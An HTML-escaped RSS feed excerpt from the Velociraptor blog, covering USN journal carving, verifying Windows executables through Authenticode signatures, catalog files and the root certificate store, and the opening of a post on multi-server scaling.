For this artifact it is recommended to increase the timeout in the “Specify Resources” wizard pane (On my system, this artifact scans about 1Gb per minute so an hour will be enough for a 60Gb disk).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/1Wwe8cBWg01X4l9H3-AMwKQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After a while the carver will produce a lot of interesting hits — some of which might be from a long time before what can normally be found in the USN journal (several months even!). If we are lucky we might see something from the timeframe of our incident.&lt;/p&gt;&#xA;&lt;p&gt;We can post process the results to try to put a timeline on a compromise. For example, I will write a post processing query to find all prefetch files that were deleted (Deleting prefetch files is a common &lt;a href=&#34;https://attack.mitre.org/techniques/T1070/004/&#34; target=&#34;_blank&#34; &gt;anti-forensic technique&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/17oy3DzemUP4M60dfYQYNAw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I can see two occasions where prefetch files were removed. I can see the timestamp based on the USN record, as well as the offset into the disk where the hit is found (around 3Gb into the drive).&lt;/p&gt;&#xA;&lt;p&gt;Note that in the case of deleted files, the filename stored in the USN record may be completely different than the FullPath shown by the artifact. The FullPath is derived by parsing the NTFS filesystem using the MFT entry id referenced by the USN record.&lt;/p&gt;&#xA;&lt;p&gt;For deleted files, the MFT entry may be quickly reused for an unrelated file. The only evidence left on the disk of our deleted prefetch file is in the USN journal, or indeed in USN record fragments we recovered once the journal rolls over.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;Carving is a useful technique to recover new investigative links or clues. Because carving does not rely on filesystem parsing it might recover older deleted records from a long time ago, or from previously formatted filesystem.&lt;/p&gt;&#xA;&lt;p&gt;The flip side is that carving is not very reliable. It is hard to predict if any useful data will be found. Additionally, if the adversary wants to really confuse us they might plant data that happens to look like a USN record — without context we really can not be sure if this data represents a real find or an anti-forensic decoy. A common issue is finding hits in what ends up being Virtual Machine disk images that just happen to have been stored on the system at one time — so the hits do not even relate to the system we are investigating.&lt;/p&gt;&#xA;&lt;p&gt;Take all findings with a grain of salt and corroborate findings with other techniques.&lt;/p&gt;&#xA;&lt;p&gt;This article demonstrated the general methodology of writing an effective carver — use a fast scanner to extract hits quickly, despite a potentially higher false positive rate (using an engine such as Yara). Then use more thorough parsing techniques to eliminate the false positives and display the results (such as Velociraptor’s built in binary parser). Finally apply VQL conditions to surgically target findings to only relevant records to our investigation.&lt;/p&gt;&#xA;&lt;p&gt;To play with this new feature yourself, take Velociraptor for a spin! It is available on &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt; under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Verifying executables on Windows</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/</link>
      <pubDate>Wed, 09 Jun 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/</guid>
      <description>&lt;p&gt;How do we know if a windows executable is a legitimate program written&#xA;by the purported developer and not malware? Users may run malicious&#xA;binaries with increasingly devastating consequences, including&#xA;compromise or ransomware.&lt;/p&gt;&#xA;&lt;p&gt;To address this concern, Microsoft has introduced a standard called&#xA;Authenticode, designed to sign trusted binaries, so they can be&#xA;identified by the operating system. Additionally, recent versions of&#xA;Windows will refuse load unsigned device drivers, therefore&#xA;maintaining kernel integrity.&lt;/p&gt;&#xA;&lt;p&gt;While the Authenticode standard itself is well documented, as DFIR&#xA;practitioners we need to understand how Authenticode works, and how we&#xA;can determine if an executable is trusted during our analysis.&lt;/p&gt;&#xA;&lt;p&gt;This post explains the basics of Authenticode, and how Velociraptor can be used to extract Authenticode related information from remote systems. Since release 0.6.0, Velociraptor features an Authenticode parser allowing much deeper inspection of signed executables.&lt;/p&gt;&#xA;&lt;h3 id=&#34;is-a-binary-signed&#34;&gt;Is a binary signed?&lt;/h3&gt;&#xA;&lt;p&gt;Windows users can easily determine if a binary is signed by simply looking at the Explorer GUI: Right click on the binary and select “Properties” and the “Digital Signatures” tab. This offers a “Details” options where users can view if the signature is ok, who the developer was that signed the executable and other details.&lt;/p&gt;&#xA;&lt;p&gt;For example, let’s inspect the Velociraptor binary itself which is signed.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1o7geaGdWcYYrycpZq6fwRQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Obviously we can not use this method to verify thousands of binaries found on remote systems, so we need to understand how Authenticode is implemented under the covers.&lt;/p&gt;&#xA;&lt;p&gt;Authenticode uses a number of file format standards to actually embed the signature information into the binary file itself, as illustrated in the &lt;a href=&#34;http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx&#34; target=&#34;_blank&#34; &gt;diagram below&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/0aJlEkIX3M0d8aKnI.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above diagram shows that signing information is embedded in the PE&#xA;file itself, and consists of a PKCS#7 structure, itself an &lt;code&gt;ASN.1&lt;/code&gt;&#xA;encoded binary blob. The information contains a hash of the PE file,&#xA;and a list of certificates of verifying authorities.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor can parse the authenticode information from the PE file&#xA;using the parse_pe() VQL function. This allows a VQL query to extract&#xA;signing information from any executable binary (Since this is just a&#xA;file parser and does not use native APIs, you can use this function on&#xA;all supported OSs).&lt;/p&gt;&#xA;&lt;p&gt;Let’s parse Velociraptor’s own PE file in a Velociraptor notebook&#xA;using the following simple query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT parse_pe(file=’’’C:\Program Files\velociraptor\velociraptor.exe’’’)&#xA;FROM scope()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/16bcC41eUaZxiHUieQpd9Nw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Among all the usual PE file properties, we can now also spot an Authenticode section, providing information about the subject who signed the binary, the signing time and an expected hash of the file.&lt;/p&gt;&#xA;&lt;h3 id=&#34;authenticode-hashes&#34;&gt;Authenticode hashes&lt;/h3&gt;&#xA;&lt;p&gt;As we can see in the above screenshot, the authenticode standard provides an expected hash within the signature. However this is not the same as a file hash. We can verify this by simply calculating the hash using the VQL hash() function.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1tqLP9HIDA8glYRg0ULZScA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;None of the calculated hashes is the same as the “ExpectedHash” provided in the Authenticode signature! This is because Authenticode hashes do not cover the entire PE file, as regular hashes do. Authenticode hashes only cover specific PE sections, in a specific order. They specifically allow PE sections to be reordered, and some regions in the file to be modified.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;Many people find it surprising that signed PE files can be modified without invalidating the signature.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;This means that hash database detection commonly used in DFIR do not work to identify malicious signed binaries. I have demonstrated this recently in a &lt;a href=&#34;https://www.youtube.com/watch?v=dmmliSh91uQ&#34; target=&#34;_blank&#34; &gt;video&lt;/a&gt; where I modified a vulnerable driver to change its file hash, maintaining it’s authenticode hash. This allowed the driver to be loaded, even through its file hash was completely different and not found on Virus Total.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/0unSBclcWJdSgJwhe&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Typically Authenticode hashes are not maintained by malware classifiers such as Virus Total so it is hard to verify if a file has been modified in this way.&lt;/p&gt;&#xA;&lt;h3 id=&#34;catalog-files&#34;&gt;Catalog files&lt;/h3&gt;&#xA;&lt;p&gt;Armed with our new understanding of Authenticode, we may run VQL queries to collect all authenticode information from windows executables. One might be surprised then to discover that many native windows binaries do not contain any authenticode information at all.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/156Eq-sGsBkzTnREg7ymsFA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The example above shows that notepad.exe, does not typically contain embedded signing information. Similarly, if one clicks on the the notepad.exe binary in the GUI no digital signature information is shown&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1nVs1beihcqM5MefgsK3d9g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Could Microsoft simply have forgotten to sign such an integral part of the OS as notepad.exe?&lt;/p&gt;&#xA;&lt;p&gt;The answer turns out to be more interesting. When distributing a large&#xA;number of binaries, a developer has the option of signing a “catalog&#xA;file” instead of each individual binary. The catalog file is&#xA;essentially a list of authenticode hashes that are all&#xA;trusted. Catalog files are stored in&#xA;&lt;code&gt;C:\Windows\system32\CatRoot\{F750E6C3–38EE-11D1–85E5–00C04FC295EE}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;While .cat files are simply encoded in PKCS#7 format, they do contain a few Microsoft specific objects. Velociraptor can parse the PKCS#7 files directly and supports the extra extensions using the parse_pkcs7() VQL function.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1WZ7Zezy8CRueD28qxklK7g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As can be seen in the above query, the cat file consists of a signer, and a list of hashes. Typically no filenames will be given for the hash (although sometimes there will be a filename hint). It is only the hashes that are important in cat files — this allows files to be renamed, but still verified.&lt;/p&gt;&#xA;&lt;p&gt;Again these hashes are authenticode hashes as before, so you can not compare them against our usual hash databases like Virus Total. You can calculate the authenticode hash of a PE File using the VQL: &lt;em&gt;parse_pe(file=FileName).AuthenticodeHash&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;To verify that a PE file on disk is signed, one must:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Calculate the Authenticode PE hash of the file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Enumerate all cat files on the system&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Parse each cat file to extract the list of hashes&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Check if any of these hashes match the one calculated in step 1.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This process is obviously too slow for the OS itself to use. To speed things up, Windows uses a shortcut: A database file exists on the system which simply contains all the trusted hashes directly. The database uses the Microsoft ESE format and is located in C:\Windows\System32\catroot2*\catdb&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1LRhZH248S7dbHAW9vPOgbw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The file is typically locked so you would need to use Velociraptor to collect it (Velociraptor will automatically parse the file out of the NTFS volume). The database contains tables mapping the hash to a cat file name and may contain hashes of old cat files that have been uninstalled from the system.&lt;/p&gt;&#xA;&lt;h3 id=&#34;verifying-signed-files&#34;&gt;Verifying Signed files&lt;/h3&gt;&#xA;&lt;p&gt;So far we have learned how authenticode stores hashes in the PE file and we can verify if the hash of the current file matches the hash within the signature information, but how can we trust that this hash is correct?&lt;/p&gt;&#xA;&lt;p&gt;To really verify a signature, Windows must verify the trust chain by following the certificates to a trusted root certificate. Windows maintains a list of trusted certificates in a “Certificate Root Store” within the registry. There are several stores, a main one for the OS and each user also has a certificate store in their NTUSER.dat hive.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor can inspect the certificate root store using the certificates() plugin. This plugin uses the Windows APIs to query the root store and report the trusted certificates. It is typically important to verify the trusted certificate root store since if a adversary adds a new certificate to the root store, their executables will be trusted by the OS.&lt;/p&gt;&#xA;&lt;p&gt;For example, I added the Velociraptor CA (a self-signed CA cert) to the windows root store below. I can see now that Windows trusts this certificate&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1wfJvLYsB8lD2iCMkHmMk2g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Where are the trusted certificates stored on the system? A quick registry search will show a set of keys and values for the trusted certificates within the windows registry&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1ixxSaOLeJm2KtbEzMQu06A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The values are undocumented binary data. Luckily, Didier Stevens has previously written about the format of these registry keys &lt;a href=&#34;https://blog.nviso.eu/2019/08/28/extracting-certificates-from-the-windows-registry/&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt; explaining these are simple length encoded items.&lt;/p&gt;&#xA;&lt;p&gt;We can use Velociraptor’s built in binary parser to automatically parse these keys. The details are in the &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/System/RootCAStore.yaml&#34; target=&#34;_blank&#34; &gt;Windows.System.RootCAStore artifact&lt;/a&gt; but collecting it from the endpoint is easy&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1woqK6rwmqIgZRoFqH6rj_w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;An added bonus of parsing the certificate directly from the registry keys is that now we have a registry key modification time to indicate when the certificate was installed into the root store. A quick VQL search to narrow down recently installed certificates can quickly zero in on malicious alterations and provide a timeline of compromise. Adding new certificates to a root store is not commonly done and even then they are likely to be done by a software update (so they should apply to most systems in the fleet). A hunt collecting this artifact and stacking by frequency can reveal compromises in minutes.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1AtlKRrylrUZn6voUArJb6A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;putting-it-all-together&#34;&gt;Putting it all together&lt;/h3&gt;&#xA;&lt;p&gt;In this blog post we looked at how authenticode signing works on Windows. We found that authenticode signatures can be embedded within the PE file, but that is not the whole story. Sometimes signatures are applied to a catalog file which contains the hash of the PE file instead.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately we simply need to know if a particular binary file is trusted or not. Velociraptor’s authenticode() function was upgraded in the 0.6.0 release to support both methods of trust automatically. Simply apply it to the PE file and it will include the method of trust as well.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/../../img/1VjBA5LZYvkpJaIBc-AtEAA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above screenshot shows both our examples — The velociraptor binary was signed via embedded signature on the right and Notepad.exe was signed via catalog. In both cases Velociraptor is showing the signer and their issuers and if the file is trusted. We additionally get the catalog file that is used to verify the file if applicable.&lt;/p&gt;&#xA;&lt;p&gt;If you would like to quickly verify your windows executables at scale, take&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt; Velociraptor for a spin&lt;/a&gt;! It is available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Scaling Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-04-29-scaling-velociraptor-57acc4df76ed/</link>
      <pubDate>Thu, 29 Apr 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-04-29-scaling-velociraptor-57acc4df76ed/</guid>
      <description>&lt;h2 id=&#34;hunting-at-scale&#34;&gt;Hunting at scale&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-04-29-scaling-velociraptor-57acc4df76ed/../../img/0Y8UjXi9oQPXRRSsz.jpeg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is an endpoint visibility tool designed to query a large number of endpoints quickly and efficiently. In previous releases, Velociraptor was restricted to a single server performing all functions, such as serving the GUI, the gRPC API as well as connections to the clients (endpoint agents). While this architecture is regularly used to serve up to 10k-15k endpoints, at high number of endpoints, we are starting to hit limitations with the single server model.&lt;/p&gt;&#xA;&lt;p&gt;This post introduces the new experimental multi-server architecture that is released in the 0.5.9 release.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-are-the-bottlenecks-of-scale&#34;&gt;What are the bottlenecks of scale?&lt;/h3&gt;&#xA;&lt;p&gt;If you have ever used Velociraptor on a small network of endpoints (say between 2k-5k endpoints), you would be accustomed to a snappy GUI, with the ability to query any of the currently connected endpoints instantly. Velociraptor clients typically do not poll, but are constantly connected to the server— this means that when tasking a new collection on an endpoint, we expect it to respond instantly.&lt;/p&gt;&#xA;&lt;p&gt;As the number of endpoints increase this performance degrades. When forwarding a large number of events from the end points, or performing hunt that transfer a lot of data, one might experience sluggish performance.&lt;/p&gt;&#xA;&lt;p&gt;However, Velociraptor is designed to operate reliably even under loaded conditions. Velociraptor maintains server stability under load by employing a number of limits:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Concurrency — This setting controls how many clients will be served at the same time. Typically clients upload their responses (JSON blobs or bulk file data) in HTTP POST up to 5mb in size. Since it takes a certain amount of memory to serve each client at the same time, without concurrency control it is difficult to control total server memory usage.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Load shedding — The server accepts client connections up to a certain rate (QPS limit). Above this rate, the server will refuse to connect, causing clients to back off and retry the connection later. This approach maintains server stability by spreading client uploads over time and capping the total client connections the server is seeing at each point in time.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Hunt client recruitment limits — Velociraptor limits the rate at which endpoints are assigned to a hunt (By default 100 per second). This therefore limits the rate at which responses come back and has the effect of spreading load over time.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;These limits are designed to keep the server responsive and stable, but at high load they result in undesirable degradation of performance — in particular GUI performance suffers. Due to Golang’s fair scheduling algorithm, GUI requests are scheduled at the same priority as client requests — so as client number increases, the GUI become less responsive.&lt;/p&gt;&#xA;&lt;h3 id=&#34;can-we-add-more-frontend-servers&#34;&gt;Can we add more frontend servers?&lt;/h3&gt;&#xA;&lt;p&gt;The natural solution to the scale problem is to add more frontend servers, so that each frontend server handles a fraction of the clients. To understand what is required for a multi frontend design, let’s consider the main tasks of the frontend:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;TLS encryption — Frontends need to encrypt and decrypt client communication using TLS. This is a CPU intensive operation (This cost can be limited to some extent by using TLS offloading), which will benefit from multiple servers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Distribute new work for clients — Since clients are constantly connected we need a way to notify a given frontend that new work is available for a client. A client may be connected to any frontend server, so we need a good way to notify all servers there is new work.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Receive query results from clients — Each frontend needs to receive the results and store that in the backend storage solution. The results of a query may be a row-set (i.e. JSONL files) or bulk upload data. We need a good distributed storage solution that can be accessed by multiple servers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Receive events from the client and potentially act on them — Clients can run monitoring queries, forwarding real time information about the endpoint. These events may trigger further processing on the server (e.g. upload to Elastic). We need a good way to replicate these events between servers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;the-datastore&#34;&gt;The datastore&lt;/h3&gt;&#xA;&lt;p&gt;Currently Velociraptor’s data store consists of flat files stored on the local disk. Since Velociraptor is primarily a collection tool, flat files work well. However, having files on the local disk means that it is impossible to share the datastore between multiple frontends running on different machines.&lt;/p&gt;&#xA;&lt;p&gt;Previously, Velociraptor featured an experimental MySQL backend to store data. This solved the problem of distributing the data between frontends, by having all frontends connect to a central MySQL server. However, in practice the additional overheads introduced by the MySQL abstraction resulted in major performance degradation, and this data store was deprecated.&lt;/p&gt;&#xA;&lt;p&gt;A more direct way to share files between multiple machines is via NFS or on AWS, &lt;a href=&#34;https://docs.aws.amazon.com/efs/latest/ug/how-it-works.html&#34; target=&#34;_blank&#34; &gt;EFS&lt;/a&gt; (Google has a similar product called &lt;a href=&#34;https://cloud.google.com/filestore&#34; target=&#34;_blank&#34; &gt;Filestore&lt;/a&gt;). This works very well and is a great fit for the Velociraptor data access 